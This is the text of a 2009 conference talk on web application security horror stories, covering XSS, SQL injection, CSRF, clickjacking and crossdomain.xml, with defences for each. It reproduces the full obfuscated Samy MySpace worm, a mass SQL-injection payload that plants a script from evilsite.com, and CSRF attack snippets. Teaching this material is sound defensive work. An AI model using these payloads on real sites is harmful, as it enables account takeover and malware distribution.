web app security horror stories

Web App SecurityHorror Stories

Simon Willison, 6th March 2009

Saturday, 7 March 2009

This talk is about learning from other people’s mistakes


XSS(cross site scripting)


Never let anyone inject their JavaScript

in to your page

Rule one:


• Steal your users’ cookies and log in as them

• Embed malware and drive-by downloads

• Show a fake phishing login page on your site

• Perform any action as if I was your user

If you have an XSS hole, I can


http://www.flickr.com/photos/tammets/2116105196/Saturday, 7 March 2009

http://www.flickr.com/photos/tammets/2116105196/

http://www.flickr.com/photos/tammets/2116105196/

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+ 'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>


http://www.myspace.com




samy is my herohttp://namb.la/popular/


http://namb.la/popular/

http://namb.la/popular/

MySpace customisation was “kind of a mistake”

http://bit.ly/myspace-mistake




A social network worm

• When you viewed Samy’s profile...

• JS makes you add him as a friend

• JS uses XMLHttpRequest to add his exploit to YOUR profile as well


12:34 pm: You have 73 friendsI decided to release my little popularity program. I'm going to be famous... among my friends.

1:30 am: You have 73 friends and 1 friend requestOne of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requestsWoah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requestsOh wait, it's exponential, isn't it. Shit.

4th October 2005


20 hours, 1,005,831 friend requests

(then MySpace crashed)


Google’s UTF-7 hole


The UTF-7 hole

• Google’s 404 pages didn't specify a charset

• IE inspected the first 4096 bytes to “guess” the encoding of the page

• UTF-7 XSS attacks slipped through Google's XSS filters but were executed by IE

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability




You can’t trust CSS either

• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks

• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year

http://community.livejournal.com/lj_dev/708069.html

http://www.securiteam.com/securitynews/6O00M0AHFW.html






SQL injection


Inexcusable.Use paramaterised queries, or an ORM


If you’re gluing SQL together using string

appends


$sql = "select * from users where nick = '". mysql_real_escape_string($username) . "'";

Bad (even though it's secure):

$sql = build_query( "select * from users where nick = ?", $nick);

Good:


Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;

http://hackademix.net/2008/04/26/mass-attack-faq/


http://evilsite.com/1.js

http://evilsite.com/1.js



CSRF


“We’ve found CSRF vulnerabilities in sites that have a

huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically

protected against CSRF, chances are you’re vulnerable”

- Bill Zeller


Ever see a link like this?

<a href="http://app.example.com/delete.php?id=1">Delete</a>


http://app.example.com/delete.php?id=1


Now what if I do this:

<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5">

... and trick you in to visiting my site?












POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>

http://www.flickr.com/photos/fofurasfelinas/9724483/Saturday, 7 March 2009

http://app.example.com/delete.php


http://www.flickr.com/photos/fofurasfelinas/9724483/

http://www.flickr.com/photos/fofurasfelinas/9724483/

Or submit with JavaScript

<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>

<script>document.forms[0].submit()</script>




The Digg exploit

• A few years ago, Digg had no CSRF protection on their “digg this” button

• The result: self-digging pages!

http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/




http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

The Gmail filter hack




“We believe this is the first CSRF vulnerability to allow the transfer of funds

from a financial institution.”

http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request-forgery-attacks


http://www.freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks




Preventing CSRF

• You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site

• Referrer checking is notoriously unreliable

• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site


Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>




Protecting the crumb

• Your crumb is now the only thing protecting you from CSRF attacks

• This is why XSS is such a big deal

• With XSS, I can steal your crumb and run riot across your site

• XSS holes are automatically CSRF holes


Login CSRF


Use CSRF to force a user to sign in to an account you have created on a

trusted site


... and wait for them to add private information,

such as their credit card details


Clickjacking


iframe!


Clickjacking protection

• Frame busting JavaScript

• <iframe security="restricted"> in IE

• "X-FRAME-OPTIONS: DENY" in IE 8

• The NoScript extension for Firefox


Anti click-jacking


Admin accesshorror stories


How did they do it?

They guessed the URLSaturday, 7 March 2009

The Twitter hack

• A bored teenager ran a brute force attack against a popular Twitter user

• "happiness" is a dictionary word

• She happened to be Twitter staff, with admin access


Keep admin accounts separate from regular

user accounts


crossdomain.xml

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

Flash can even fake an X-Requested-With: XMLHttpRequest header

That’s why Flickr use api.flickr.com/crossdomain.xml instead

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>


crossdomain.xml

<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>

Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs

That’s why Flickr use api.flickr.com/crossdomain.xml instead


YouTube/Gmail combo attack!

1. Attacker emails a special SWF to a Gmail account they control and locates the attachment download URL on google.com

2. Logged-in YouTube user visits an attacker controlled page

3. Attacker forces their victim to authenticate to the attackers Gmail account (using login CSRF)

4. Attacker embeds SWF from the Gmail account into the web page

5. Attacker now has read write access on YouTube.com as the victim’s account

http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html

<allow-access-from domain="*.google.com" />




No matter how hard you try, you can’t secure your site 100%

There’s always a chance a browser, plugin or compromised

client machine will screw everything up anyway


... and 70% of users will give their password to a stranger in exchange for a bar of chocolate

http://news.bbc.co.uk/1/hi/technology/3639679.stm




Thank you!


http://simonwillison.net/tags/xss/

http://simonwillison.net/tags/csrf/

http://simonwillison.net/tags/logincsrf/

http://simonwillison.net/tags/security/

Title photo:

http://www.flickr.com/photos/jalex_photo/1680862003/












web app security horror stories

Technology

returnvar

var argetfromurl

inadvertent

return falseeval

1 friend request

480 friend

gmail account

popularity